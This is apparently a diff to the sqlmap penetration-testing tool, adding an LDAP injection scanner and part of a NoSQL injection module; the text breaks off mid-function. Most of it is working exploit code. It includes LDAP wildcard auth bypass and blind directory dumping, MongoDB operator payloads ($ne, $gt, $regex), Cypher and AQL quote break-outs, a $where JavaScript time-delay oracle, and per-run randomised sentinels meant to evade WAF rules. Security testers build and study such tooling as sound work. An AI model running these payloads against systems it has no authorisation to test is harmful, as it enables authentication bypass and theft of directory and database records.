+        if constraint:
+            cAttr, cValue = constraint
+            clauses.append("(%s=%s)" % (cAttr, _ldapLiteral(cValue)))
+
+        for eAttr, eValue in exclusions or ():
+            clauses.append("(!(%s=%s))" % (eAttr, _ldapLiteral(eValue)))
+
+        # Raw '&' would split GET parameters because skipUrlEncode=True. Use %26
+        # so the HTTP layer decodes it into LDAP '&' inside the parameter value.
+        compound = "(%%26%s%s)" % ("".join(clauses), assertion)
+
+        # Dummy suffix eater: the original app template can safely append its tail.
+        return self.raw("%s(objectClass=%s*" % (compound, SENTINEL))
+
+
+def _makeOracle(place, parameter, template):
+    cache = {}
+
+    def request(payload):
+        if payload not in cache:
+            cache[payload] = _send(place, parameter, payload)
+        return cache[payload]
+
+    falsePage = request(SENTINEL)
+
+    def oracle(payload):
+        page = request(payload)
+        if not page or _isError(page):
+            return False
+        return _ratio(template, page) >= UPPER_RATIO_BOUND
+
+    def extract(payload):
+        page = request(payload)
+        if not page or _isError(page):
+            return False
+        return _ratio(falsePage, page) < UPPER_RATIO_BOUND
+
+    oracle.extract = extract
+    oracle.template = template
+    oracle.falsePage = falsePage
+    oracle.cache = cache
+    return oracle
+
+
+# Avoid LDAP metacharacters in blind character extraction. In real LDAP they can
+# be escaped, but many simple test harnesses decode them before wildcard handling,
+# producing false positives. Transport-sensitive chars are allowed because
+# _ldapLiteral() encodes them.
+_META_ORDS = set(ord(_) for _ in ('*', '(', ')', '\\'))
+_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) +
+         tuple(xrange(ord('A'), ord('Z') + 1)) +
+         tuple(xrange(ord('0'), ord('9') + 1)) +
+         tuple(ord(_) for _ in "@._-+ "))
+_CHARSET = []
+for _ in _FREQ:
+    if LDAP_CHAR_MIN <= _ <= LDAP_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET:
+        _CHARSET.append(_)
+for _ in xrange(LDAP_CHAR_MIN, LDAP_CHAR_MAX + 1):
+    if _ not in _META_ORDS and _ not in _CHARSET:
+        _CHARSET.append(_)
+
+
+def _exists(oracle, builder, attr, constraint=None, exclusions=None):
+    return oracle.extract(builder.presence(attr, constraint=constraint, exclusions=exclusions))
+
+
+def _inferAttribute(oracle, builder, attr, constraint=None, exclusions=None, maxLen=LDAP_MAX_LENGTH):
+    value = ""
+    probes = 0
+
+    for _ in xrange(maxLen):
+        found = False
+
+        for cp in _CHARSET:
+            candidate = value + chr(cp)
+            probes += 1
+
+            if oracle.extract(builder.prefix(attr, candidate, constraint=constraint, exclusions=exclusions)):
+                value = candidate
+                found = True
+                break
+
+        if not found:
+            break
+
+        # Three or more consecutive trailing spaces never occur in real
+        # directory data.  When the server-side LDAP-to-SQL translation
+        # (or equivalent) spuriously matches a trailing-space probe (e.g.
+        # mail=user@dom * matching user@dom), the extraction would
+        # otherwise chase an endless phantom suffix.  Terminate and strip.
+        if value.endswith("   "):
+            value = value.rstrip()
+            break
+
+    logger.debug("LDAP blind inference: %d probes for attribute '%s' (length=%d)" % (probes, attr, len(value)))
+    return value if value else None
+
+
+def _fingerprintByAttribute(oracle, builder):
+    for attr, expected, backend in LDAP_FINGERPRINT_ATTRIBUTES:
+        if not _exists(oracle, builder, attr):
+            continue
+
+        if expected:
+            if oracle.extract(builder.contains(attr, expected)):
+                return backend
+        else:
+            return backend
+
+    return None
+
+
+def _dumpInband(oracle, slot):
+    """If the always-true template page exposes directory entries directly
+    (e.g. as JSON), extract them in one shot instead of blind brute-force."""
+    import json
+
+    page = oracle.template
+    if not page or not page.strip().startswith('{'):
+        return False
+
+    try:
+        data = json.loads(page)
+        entries = data.get("entries") or data.get("results") or ()
+    except (ValueError, TypeError):
+        return False
+
+    if not entries or not isinstance(entries, (list, tuple)):
+        return False
+
+    columns = []
+    seen = set()
+    for entry in entries:
+        if not isinstance(entry, dict):
+            continue
+        for key in entry:
+            if key not in seen:
+                columns.append(getUnicode(key))
+                seen.add(key)
+
+    if not columns:
+        return False
+
+    rows = []
+    for entry in entries:
+        if not isinstance(entry, dict):
+            continue
+        rows.append(tuple(getUnicode(entry.get(c, "")) for c in columns))
+
+    # Drop columns where every row is empty (common with wide schemas).
+    populated = []
+    for ci, col in enumerate(columns):
+        if any(r[ci] for r in rows):
+            populated.append(ci)
+    if populated and len(populated) < len(columns):
+        columns = [columns[i] for i in populated]
+        rows = [tuple(r[i] for i in populated) for r in rows]
+
+    logger.info("in-band data exposure: %d record(s)" % len(rows))
+    _dumpTable("LDAP: %s parameter '%s' in-band entries" % (slot.place, slot.parameter),
+               columns, rows)
+    return True
+
+
+def _probeRootDSE(oracle, builder):
+    for attr in ("namingContexts", "subschemaSubentry", "vendorName", "vendorVersion"):
+        if not _exists(oracle, builder, attr):
+            continue
+
+        value = _inferAttribute(oracle, builder, attr)
+        if value:
+            logger.info("directory %s: '%s'" % (attr, value))
+
+
+def _enumerateEntryKeys(oracle, builder):
+    for keyAttr in ENTRY_KEY_ATTRIBUTES:
+        if not _exists(oracle, builder, keyAttr):
+            continue
+
+        values = []
+        while len(values) < LDAP_MAX_RECORDS:
+            exclusions = [(keyAttr, _) for _ in values]
+            value = _inferAttribute(oracle, builder, keyAttr, exclusions=exclusions)
+
+            if not value or value in values:
+                break
+
+            values.append(value)
+            logger.info("identified directory entry: %s='%s'" % (keyAttr, value))
+
+        if values:
+            return keyAttr, values
+
+    return None, []
+
+
+def _dumpEntries(oracle, builder, place, parameter):
+    keyAttr, keys = _enumerateEntryKeys(oracle, builder)
+    if not keys:
+        logger.warning("could not identify a stable directory entry key")
+        return False
+
+    rows = []
+    discovered = set()
+
+    for key in keys:
+        constraint = (keyAttr, key)
+        row = {keyAttr: key}
+        logger.info("extracting attributes for entry %s='%s'" % (keyAttr, key))
+
+        for attr in DUMP_ATTRIBUTES:
+            if attr == keyAttr:
+                continue
+
+            logger.info("probing attribute '%s'" % attr)
+            if not _exists(oracle, builder, attr, constraint=constraint):
+                continue
+
+            value = _inferAttribute(oracle, builder, attr, constraint=constraint)
+            if value:
+                row[attr] = value
+                discovered.add(attr)
+
+        rows.append(row)
+
+    columns = [keyAttr] + [_ for _ in DUMP_ATTRIBUTES if _ != keyAttr and _ in discovered]
+    tableRows = [tuple(row.get(column, "") for column in columns) for row in rows]
+
+    logger.info("dumped %d entr%s" % (len(rows), "y" if len(rows) == 1 else "ies"))
+    _dumpTable("LDAP: %s parameter '%s' directory entries" % (place, parameter), columns, tableRows)
+    return True
+
+
+def _dumpMultiValues(oracle, builder, place, parameter):
+    dumped = False
+
+    for attr in MULTI_VALUE_ATTRIBUTES:
+        if not _exists(oracle, builder, attr):
+            continue
+
+        value = _inferAttribute(oracle, builder, attr)
+        if value:
+            logger.info("fetched 1 value from attribute '%s'" % attr)
+            _dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(value,)])
+            dumped = True
+
+    return dumped
+
+
+def _grid(columns, rows):
+    columns = [getUnicode(_) for _ in columns]
+    rows = [[getUnicode(_) for _ in row] for row in rows]
+
+    widths = []
+    for index, column in enumerate(columns):
+        width = len(column)
+        for row in rows:
+            if index < len(row):
+                width = max(width, len(row[index]))
+        widths.append(width)
+
+    separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+"
+
+    def line(cells):
+        return "| " + " | ".join((cells[index] if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |"
+
+    return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator])
+
+
+def _dumpTable(title, columns, rows):
+    if rows:
+        conf.dumper.singleString("%s:\n%s" % (title, _grid(columns, rows)))
+
+
+def ldapScan():
+    global SENTINEL
+    SENTINEL = randomStr(length=10, lowercase=True)
+
+    debugMsg = "'--ldap' is self-contained: it detects LDAP injection in HTTP "
+    debugMsg += "parameters and dumps reachable directory entries. SQL enumeration "
+    debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored"
+    logger.debug(debugMsg)
+
+    if not conf.paramDict:
+        logger.error("no request parameters to test (use --data, GET params, or similar)")
+        return
+
+    tested = found = 0
+    slots = []
+
+    for place in (_ for _ in LDAP_PLACES if _ in conf.paramDict):
+        for parameter in list(conf.paramDict[place].keys()):
+            if conf.testParameter and parameter not in conf.testParameter:
+                continue
+
+            tested += 1
+            logger.info("testing LDAP injection on %s parameter '%s'" % (place, parameter))
+
+            # Phase 1: probe the LDAP filter parser for a backend hint.
+            # This is NOT authoritative -- only a boolean oracle confirms
+            # exploitable injection.
+            backendHint, _errorPayload = _probeBackendByParserError(place, parameter)
+            if backendHint:
+                backendHint = _fingerprintByError(backendHint)
+
+            # Phase 2: establish a boolean oracle (authoritative).
+            template, payload, breakout = _detectBoolean(place, parameter)
+            if template and breakout:
+                found += 1
+                backend = backendHint or None
+                logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic"))
+                if conf.beep:
+                    beep()
+
+                oracle = _makeOracle(place, parameter, template)
+                slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=template, payload=payload, breakout=breakout))
+                continue
+
+            # Phase 3: wildcard auth bypass (credential fields only).
+            bypass = _detectAuthBypass(place, parameter)
+            if bypass:
+                found += 1
+                logger.info("%s parameter '%s' allows LDAP wildcard auth bypass (password=*)" % (place, parameter))
+                if conf.beep:
+                    beep()
+                slots.append(Slot(place=place, parameter=parameter, bypass=bypass))
+                continue
+
+            # Parser-error alone is not exploitable -- log it but do not
+            # create a vulnerability report.
+            if backendHint:
+                logger.info("%s parameter '%s' reaches an LDAP filter parser (back-end: '%s'), but no exploitable boolean oracle was established" % (place, parameter, backendHint))
+
+    if not slots:
+        if tested:
+            warnMsg = "no parameter appears to be injectable via LDAP injection (%d tested)" % tested
+        else:
+            warnMsg = "no parameters found to test for LDAP injection"
+        logger.warning(warnMsg)
+        return
+
+    # Print auth-bypass reports.
+    for slot in slots:
+        if slot.bypass:
+            conf.dumper.singleString("---\nParameter: %s (%s)\n    Type: LDAP injection\n    Title: LDAP auth bypass (wildcard)\n    Payload: %s=%s\n---" % (slot.parameter, slot.place, slot.parameter, slot.bypass))
+
+    # Select the first oracle-bearing slot for fingerprint + enumeration.
+    slot = next((_ for _ in slots if _.oracle and _.breakout), None)
+    if not slot:
+        logger.info("LDAP scan complete")
+        return
+
+    # Refine backend fingerprint if we only have a generic hint.
+    builder = _ProbeBuilder(slot.breakout)
+    oracle = slot.oracle
+    if not slot.backend or slot.backend == "Generic LDAP":
+        backend = _fingerprintByAttribute(oracle, builder)
+        if backend:
+            logger.info("identified back-end DBMS: '%s'" % backend)
+            slot = slot._replace(backend=backend)
+
+    # Determine extraction method: in-band if the template page already
+    # contains parseable JSON entries, otherwise blind.
+    import json
+    page = oracle.template
+    inband = False
+    if page and page.strip().startswith('{'):
+        try:
+            data = json.loads(page)
+            entries = data.get("entries") or data.get("results") or ()
+            inband = bool(entries and isinstance(entries, (list, tuple)))
+        except (ValueError, TypeError):
+            pass
+
+    title = "LDAP in-band data exposure" if inband else "LDAP boolean-based blind"
+    conf.dumper.singleString("---\nParameter: %s (%s)\n    Type: LDAP injection\n    Title: %s\n    Payload: %s=%s\n---" % (slot.parameter, slot.place, title, slot.parameter, slot.payload))
+
+    logger.info("probing RootDSE-style directory metadata")
+    _probeRootDSE(oracle, builder)
+
+    if inband:
+        dumped = _dumpInband(oracle, slot)
+    else:
+        dumped = _dumpEntries(oracle, builder, slot.place, slot.parameter)
+        dumped = _dumpMultiValues(oracle, builder, slot.place, slot.parameter) or dumped
+
+    if not dumped:
+        warnMsg = "LDAP injection is confirmed but no directory data could be extracted. "
+        warnMsg += "The injection point may expose only a limited boolean oracle or ACLs restrict reads"
+        logger.warning(warnMsg)
+
+    logger.info("LDAP scan complete")

lib/techniques/nosql/__init__.py

@@ -0,0 +1,6 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""

lib/techniques/nosql/inject.py

@@ -0,0 +1,776 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import difflib
+import json
+import re
+import time
+
+from collections import namedtuple
+from collections import OrderedDict
+
+from lib.core.common import beep
+from lib.core.common import randomStr
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.enums import CUSTOM_LOGGING
+from lib.core.enums import PLACE
+from lib.core.enums import POST_HINT
+from lib.core.settings import NOSQL_CHAR_MAX
+from lib.core.settings import NOSQL_CHAR_MIN
+from lib.core.settings import NOSQL_ERROR_REGEX
+from lib.core.settings import NOSQL_MAX_FIELDS
+from lib.core.settings import NOSQL_MAX_LENGTH
+from lib.core.settings import NOSQL_MAX_RECORDS
+from lib.core.settings import UPPER_RATIO_BOUND
+from lib.request.connect import Connect as Request
+from lib.utils.xrange import xrange
+from thirdparty.six.moves import urllib as _urllib
+
+# Improbable literal used to build always-true/never-match payloads. Randomized per run (like
+# kb.chars boundaries) so it never becomes a static signature a WAF can pin a blocking rule on.
+NOSQL_SENTINEL = randomStr(length=10, lowercase=True)
+
+# Maximum number of characters of in-band (reflected) data surfaced from an always-true response
+NOSQL_DUMP_LIMIT = 4096
+
+# Delivery shapes that can carry an injection into a back-end filter/query
+NOSQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.URI, PLACE.CUSTOM_POST, PLACE.COOKIE)
+
+# Lucene regexp metacharacters (Elasticsearch/Solr) requiring escaping in built patterns
+LUCENE_META = set('.?+*|(){}[]"\\/')
+
+# Java regexp metacharacters (Cypher/AQL =~) requiring escaping in built patterns
+JAVA_META = set('.?+*|(){}[]^$\\/')
+
+# Engines detectable through a syntax-breaking probe but lacking a clean substring oracle for blind
+# extraction (mapped from recognizable error-message fragments - not product names - to back-end name)
+ERROR_SIGNATURES = (
+    ("Cassandra", ("no viable alternative at input", "org.apache.cassandra", "com.datastax", "invalidrequestexception")),
+    ("Redis", ("wrongtype operation", "err error compiling script", "err error running script", "@user_script", "replyerror")),
+    ("Memcached", ("client_error bad", "server_error object too large")),
+    ("InfluxDB", ("error parsing query", "unable to parse")),
+    ("HBase/Phoenix", ("org.apache.phoenix", "phoenixparserexception", "org.apache.hadoop.hbase")),
+)
+
+_UNSET = object()
+
+# HTTP status of the most recent request issued by _send() (None when bypassed, e.g. under tests)
+_lastCode = None
+
+# Resolved injection vector. `template` is the always-true page for content-based blind extraction
+# (None for time-based/detection-only); `bypass` is the always-true payload reported as a login/filter
+# bypass; `truth` overrides the content oracle (e.g. a timing predicate for the $where time-based path);
+# `dump` is a callable returning (columns, rows) for a whole-document dump (server-side-JS key enumeration).
+Vector = namedtuple("Vector", ("dbms", "fetch", "lengthValue", "charValue", "template", "bypass", "truth", "dump"))
+Vector.__new__.__defaults__ = (None, None, None, None)
+
+def _ratio(first, second):
+    return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
+
+def _encode(value):
+    return _urllib.parse.quote(value, safe="")
+
+def _lucene(value):
+    return "".join(("\\" + _ if _ in LUCENE_META else _) for _ in value)
+
+def _javaEscape(value):
+    return "".join(("\\" + _ if _ in JAVA_META else _) for _ in value)
+
+def _quoted(regex):
+    # double every backslash so a regexp survives a single-quoted string literal (Cypher/AQL/N1QL),
+    # whose own backslash processing would otherwise strip one level before the engine parses it
+    return regex.replace("\\", "\\\\")
+
+def _isJsonBody():
+    return kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE)
+
+def _jsonKey(parameter):
+    for prefix in ("JSON ", "JSON-like "):
+        if parameter.startswith(prefix):
+            return parameter[len(prefix):]
+    return parameter
+
+def _delim(place):
+    # parameter delimiter for the place: ';' for cookies (per --cookie-del), '&' otherwise
+    return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&'
+
+def _originalValue(place, parameter):
+    for segment in conf.parameters[place].split(_delim(place)):
+        name, _, value = segment.partition('=')
+        if name.strip() == parameter:
+            return value
+    return conf.paramDict.get(place, {}).get(parameter) or ""
+
+def _replaceSegment(place, parameter, segment):
+    """Rebuild conf.parameters[place], swapping the target parameter for `segment` (e.g. 'k[$ne]=v'
+    or 'k=v') while preserving every sibling parameter verbatim"""
+
+    delimiter = _delim(place)
+    retVal, replaced = [], False
+
+    for part in conf.parameters[place].split(delimiter):
+        if not replaced and part.split('=', 1)[0].strip() == parameter:
+            retVal.append(segment)
+            replaced = True
+        else:
+            retVal.append(part)
+
+    if not replaced:
+        retVal = [segment if name == parameter else "%s=%s" % (_encode(name), _encode(value)) for name, value in conf.paramDict[place].items()]
+
+    return delimiter.join(retVal)
+
+def _send(place, parameter, segment=None, jsonValue=_UNSET):
+    """Issues a single request with the target parameter overridden - by raw 'name=value' segment for
+    URL/body parameters, or by setting the key to `jsonValue` for JSON bodies - returning the response"""
+
+    global _lastCode
+
+    skipUrlEncode = conf.skipUrlEncode
+    conf.skipUrlEncode = True
+
+    if conf.delay:
+        time.sleep(conf.delay)
+
+    try:
+        kwargs = {"raise404": False, "silent": True}
+
+        if jsonValue is not _UNSET and _isJsonBody() and place in (PLACE.POST, PLACE.CUSTOM_POST):
+            try:
+                data = json.loads(conf.data)
+            except Exception:
+                data = {}
+            data[_jsonKey(parameter)] = jsonValue
+            payload = kwargs["post"] = json.dumps(data)
+        elif place == PLACE.COOKIE:
+            payload = kwargs["cookie"] = _replaceSegment(place, parameter, segment)
+        else:
+            payload = _replaceSegment(place, parameter, segment)
+            kwargs["post" if place in (PLACE.POST, PLACE.CUSTOM_POST) else "get"] = payload
+
+        logger.log(CUSTOM_LOGGING.PAYLOAD, _urllib.parse.unquote(payload))     # readable, surfaced at -v 3 like a regular sqlmap payload
+        page, _, _lastCode = Request.getPage(**kwargs)
+    finally:
+        conf.skipUrlEncode = skipUrlEncode
+
+    return page or ""
+
+def _isError(page):
+    # a server-error status or a recognizable back-end error body marks a response as NOT a valid
+    # always-true template (prevents two differing error pages from faking a boolean oracle)
+    return (_lastCode or 0) >= 500 or bool(re.search(NOSQL_ERROR_REGEX, page or ""))
+
+def _fetch(place, parameter, op, value, isArray=False):
+    """MongoDB/CouchDB dialect: renders the parameter as an operator object (bracket or JSON shape)"""
+
+    suffix = ("[%s][]" % op) if isArray else ("[%s]" % op)
+    segment = "%s%s=%s" % (_encode(parameter), suffix, _encode(value))
+    return _send(place, parameter, segment, {op: [value]} if isArray else {op: value})
+
+def _fetchValue(place, parameter, value):
+    """String dialects (Lucene query_string, Cypher, AQL): replaces the parameter's value verbatim"""
+
+    return _send(place, parameter, "%s=%s" % (_encode(parameter), _encode(value)), value)
+
+def _boolean(truthy, falsy):
+    """Returns the (reproducible) true-page when a NoSQL true/false payload pair yields a stable
+    content divergence - i.e. the payload reached and influenced the back-end - else None"""
+
+    truePage = truthy()
+    if not truePage or _isError(truePage):      # an error response is never a valid always-true template
+        return None
+
+    falsePage = falsy()
+    if _ratio(truePage, truthy()) > UPPER_RATIO_BOUND and _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
+        return truePage
+
+    return None
+
+def _detectMongo(place, parameter):
+    # $ne (matches everything) vs $in [sentinel] (matches nothing); $gt '' (matches any string) is a
+    # fallback always-true for apps that filter $ne but not the comparison operators
+    return _boolean(lambda: _fetch(place, parameter, "$ne", NOSQL_SENTINEL), lambda: _fetch(place, parameter, "$in", NOSQL_SENTINEL, isArray=True)) \
+        or _boolean(lambda: _fetch(place, parameter, "$gt", ""), lambda: _fetch(place, parameter, "$in", NOSQL_SENTINEL, isArray=True))
+
+def _detectES(place, parameter):
+    # query_string '*' (matches everything) vs a literal sentinel (matches nothing)
+    return _boolean(lambda: _fetchValue(place, parameter, '*'), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL))
+
+def _detectCypher(place, parameter):
+    # single-quote break-out: OR '1'='1' (true) vs OR '1'='2' (false)
+    return _boolean(lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' OR '1'='1"), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' OR '1'='2"))
+
+def _detectAQL(place, parameter):
+    # single-quote break-out: || '1'=='1 (true) vs || '1'=='2 (false)
+    return _boolean(lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' || '1'=='1"), lambda: _fetchValue(place, parameter, NOSQL_SENTINEL + "' || '1'=='2"))
+
+def _detectNumeric(place, parameter):
+    # unquoted (numeric-context) boolean break-out for SQL-like back-ends: OR/AND (Cypher/N1QL) or
+    # ||/&& (AQL). A numeric field is not blindly regexp-extractable, so exploitation is the in-band
+    # dump of the always-true response (rows reflected by the page)
+    value = (_originalValue(place, parameter) or "1").strip()
+    if not value.isdigit():
+        return None
+
+    template = _boolean(lambda: _fetchValue(place, parameter, "%s OR 1=1" % value), lambda: _fetchValue(place, parameter, "%s AND 1=2" % value))
+    if template:
+        # Cypher, N1QL and PartiQL share OR/AND; tell them apart by a constant-arg, field-free primitive
+        # each engine alone honors: N1QL REGEXP_CONTAINS, DynamoDB begins_with (Cypher has neither)
+        if _confirm(place, parameter, "%s OR REGEXP_CONTAINS('ab', 'a') OR 1=2" % value, "%s OR REGEXP_CONTAINS('ab', 'z') OR 1=2" % value):
+            dbms = "Couchbase"
+        elif _confirm(place, parameter, "%s OR begins_with('ab', 'a') OR 1=2" % value, "%s OR begins_with('ab', 'z') OR 1=2" % value):
+            dbms = "DynamoDB"
+        else:
+            dbms = "Neo4j"
+        return dbms, template, "%s OR 1=1" % value
+
+    template = _boolean(lambda: _fetchValue(place, parameter, "%s || 1==1" % value), lambda: _fetchValue(place, parameter, "%s && 1==2" % value))
+    if template:
+        return "ArangoDB", template, "%s || 1==1" % value
+
+    return None
+
+def _detectError(place, parameter):
+    # last-resort: a syntax-breaking value that diverges from a normal one and surfaces an engine error
+    original = _originalValue(place, parameter) or '1'
+    normal = _fetchValue(place, parameter, original)
+    broken = _fetchValue(place, parameter, original + "'")
+
+    if not normal or _ratio(normal, broken) >= UPPER_RATIO_BOUND:
+        return None
+
+    for engine, tokens in ERROR_SIGNATURES:
+        if any(_ in broken.lower() for _ in tokens):
+            return engine
+
+    return None
+
+def _fingerprintMongo(place, parameter):
+    page = _fetch(place, parameter, "$regex", '(').lower()       # invalid regexp -> driver/DB error
+    if any(_ in page for _ in ("couch", "mango", "bad_arg", "erlang")):
+        return "CouchDB"
+    elif any(_ in page for _ in ("mongo", "bson", "regular expression", "$regex")):
+        return "MongoDB"
+    else:
+        return "MongoDB (assumed)"
+
+def _fingerprintLucene(place, parameter):
+    page = _fetchValue(place, parameter, "/[/").lower()          # invalid regexp -> engine error
+    if any(_ in page for _ in ("solr", "solrexception")):
+        return "Solr"
+    elif "opensearch" in page:
+        return "OpenSearch"
+    else:
+        return "Elasticsearch"
+
+def _constraint(place, parameter, eq='=', conj=" AND ", prefix="u."):
+    """Re-expresses sibling parameters as query constraints (field == parameter name) so extraction
+    stays bound to the originally matched record. `prefix`/`eq`/`conj` adapt the per-dialect syntax
+    (Cypher: 'u.'/'='/' AND '; AQL: 'u.'/'=='/' && '; $where JS: 'this.'/'=='/'&&')"""
+
+    parts = []
+
+    for segment in conf.parameters[place].split(_delim(place)):
+        if '=' not in segment:
+            continue
+        name, _, value = segment.partition('=')
+        name = name.strip()
+        if name and name != parameter:
+            parts.append("%s%s%s'%s'" % (prefix, name, eq, value))
+
+    return (conj.join(parts) + conj) if parts else ""
+
+def _confirm(place, parameter, truePayload, falsePayload):
+    # disambiguates dialects that share the same break-out syntax by probing a dialect-specific
+    # regexp-match primitive (e.g. Cypher '=~' vs N1QL 'REGEXP_CONTAINS') for a true/false divergence
+    return _boolean(lambda: _fetchValue(place, parameter, truePayload), lambda: _fetchValue(place, parameter, falsePayload)) is not None
+
+def _timed(call):
+    start = time.time()
+    call()
+    return time.time() - start
+
+def _whereDelay(condition):
+    # MongoDB $where (server-side JS) string break-out: busy-loops for ~conf.timeSec seconds whenever
+    # the per-document JS `condition` holds, yielding a timing oracle when no content differential
+    # exists. The document is passed in as `d` (inside the function `this` is not the document).
+    return "%s' || (function(d){if(%s){var t=new Date().getTime();while(new Date().getTime()-t<%d){}}return false})(this) || '1'=='2" % (NOSQL_SENTINEL, condition, int(conf.timeSec * 1000))
+
+def _detectWhere(place, parameter):
+    # an unconditional-delay payload must run ~conf.timeSec slower than the baseline while a
+    # non-delaying one stays fast (the latter guards against a uniformly slow endpoint)
+    threshold = _timed(lambda: _fetchValue(place, parameter, _originalValue(place, parameter) or "1")) + conf.timeSec * 0.5
+    if threshold < conf.timeSec and _timed(lambda: _fetchValue(place, parameter, _whereDelay("true"))) > threshold:
+        if _timed(lambda: _fetchValue(place, parameter, "%s' || '1'=='2" % NOSQL_SENTINEL)) <= threshold:
+            return threshold
+    return None
+
+def _jsString(value):
+    return "'%s'" % value.replace("\\", "\\\\").replace("'", "\\'")
+
+def _whereField(place, parameter, bound, expr, threshold):
+    """Time-based recovery of an arbitrary per-document JavaScript string expression `expr` (e.g. a key
+    name 'Object.keys(d)[i]', or a value 'String(d[name])') via the $where busy-loop oracle"""
+
+    truth = lambda payload: _timed(lambda: _fetchValue(place, parameter, payload)) > threshold
+    return _extract(None, None,
+                    lambda n: _whereDelay("%s(%s)&&(%s).length>=%d" % (bound, expr, expr, n)),
+                    lambda known, klass: _whereDelay("%s/^%s%s/.test(%s)" % (bound, _javaEscape(known), klass, expr)),
+                    truth)
+
+def _whereDump(place, parameter, bound, threshold):
+    """Whole-document dump via server-side-JavaScript key enumeration: walk Object.keys(this) to recover
+    each field name, then String(this[name]) for its value. Returns (columns, rows) or None"""
+
+    columns, values = [], []
+    for index in xrange(NOSQL_MAX_FIELDS):
+        name = _whereField(place, parameter, bound, "Object.keys(d)[%d]" % index, threshold)
+        if not name:
+            break
+        columns.append(name)
+        values.append(_whereField(place, parameter, bound, "String(d[%s])" % _jsString(name), threshold) or "")
+        logger.info("retrieved: %s='%s'" % (name, values[-1]))
+
+    return (columns, [values]) if columns else None
+
+def _classChar(ordinal):
+    char = chr(ordinal)
+    return ("\\" + char) if char in "]\\^-" else char       # escape the char-class metacharacters
+
+def _klass(low, high):
+    # a regexp character class spanning the codepoints [low, high] (single member when low == high)
+    return "[%s]" % _classChar(low) if low == high else "[%s-%s]" % (_classChar(low), _classChar(high))
+
+def _propLiteral(name):
+    return "'%s'" % name.replace("\\", "\\\\").replace("'", "\\'")
+
+def _enumField(place, parameter, template, payloadFor):
+    """Content-based recovery of the string matched by a regexp clause built via payloadFor(regexBody),
+    reusing the bisection extractor against the always-true single-record `template`"""
+
+    return _extract(template, lambda value: _fetchValue(place, parameter, value),
+                    lambda n: payloadFor(".{%d,}" % n),
+                    lambda known, klass: payloadFor(_quoted(_javaEscape(known) + klass)))
+
+def _enumDump(place, parameter, makePayload, keysExpr, valueExpr):
+    """Whole-document dump via key enumeration for the regexp dialects: keysExpr(i) -> the i-th field
+    name, valueExpr(name) -> that field's value. makePayload(targetExpr, regexBody) wraps the dialect
+    break-out and record binding around a '<targetExpr> matches ^<regexBody>' oracle. Returns
+    (columns, rows) or None - the caller can then fall back to single-field extraction"""
+
+    template = _fetchValue(place, parameter, makePayload(keysExpr(0), ".*"))      # the bound single record
+    if not template or _isError(template):
+        return None
+
+    columns, values = [], []
+    for index in xrange(NOSQL_MAX_FIELDS):
+        name = _enumField(place, parameter, template, lambda rb, i=index: makePayload(keysExpr(i), rb))
+        if not name:
+            break
+        columns.append(name)
+        values.append(_enumField(place, parameter, template, lambda rb, n=name: makePayload(valueExpr(n), rb)) or "")
+        logger.info("retrieved: %s='%s'" % (name, values[-1]))
+
+    return (columns, [values]) if columns else None
+
+def _cypherDump(place, parameter):
+    """Blind multi-record collection dump (Neo4j Cypher). Walks every matched node in ascending order
+    of its internal node id (a unique, ordered, always-present key - unlike property order, which Neo4j
+    does not guarantee), key-enumerating each node's full document. Returns (columns, rows) or None"""
+
+    fetch = lambda payload: _fetchValue(place, parameter, payload)
+    noMatch = fetch("%s' OR '1'='2" % NOSQL_SENTINEL)               # stable zero-record baseline (app closes the quote)
+    differs = lambda payload: _ratio(fetch(payload), noMatch) < UPPER_RATIO_BOUND
+    if not noMatch or not differs("%s' OR '1'='1" % NOSQL_SENTINEL):
+        return None
+
+    # a numeric condition opens no string, so balance the app's trailing quote with a tautology
+    exists = lambda cond: differs("%s' OR %s AND '1'='1" % (NOSQL_SENTINEL, cond))
+
+    def minIdGreater(lower):
+        # smallest internal node id strictly greater than `lower` (None when no further node exists)
+        if not exists("id(u) > %d" % lower):
+            return None
+        hi = lower + 1
+        while not exists("id(u) > %d AND id(u) <= %d" % (lower, hi)):
+            hi *= 2
+            if hi > (1 << 40):
+                return None
+        lo = lower
+        while lo + 1 < hi:
+            mid = (lo + hi) // 2
+            if exists("id(u) > %d AND id(u) <= %d" % (lower, mid)):
+                hi = mid
+            else:
+                lo = mid
+        return hi
+
+    columns, records, lastId = [], [], -1
+    for _ in xrange(NOSQL_MAX_RECORDS):
+        nodeId = minIdGreater(lastId)
+        if nodeId is None:
+            break
+        record = _enumDump(place, parameter,
+                           lambda expr, rb, k=nodeId: "%s' OR id(u)=%d AND %s =~ '^%s.*" % (NOSQL_SENTINEL, k, expr, rb),
+                           lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % _propLiteral(n))
+        if record:
+            cols, values = record
+            records.append(dict(zip(cols, values[0])))     # align by field name (keys(u) order is per-node)
+            columns.extend(_ for _ in cols if _ not in columns)
+        lastId = nodeId
+
+    return (columns, [[row.get(_, "") for _ in columns] for row in records]) if records else None
+
+def _partiqlValue(place, parameter, bind, field):
+    """Blind extraction of `field` for the bound record on a DynamoDB PartiQL point. PartiQL has no
+    regexp, so each character is recovered by an ordered string comparison (field >= 'prefix'+char),
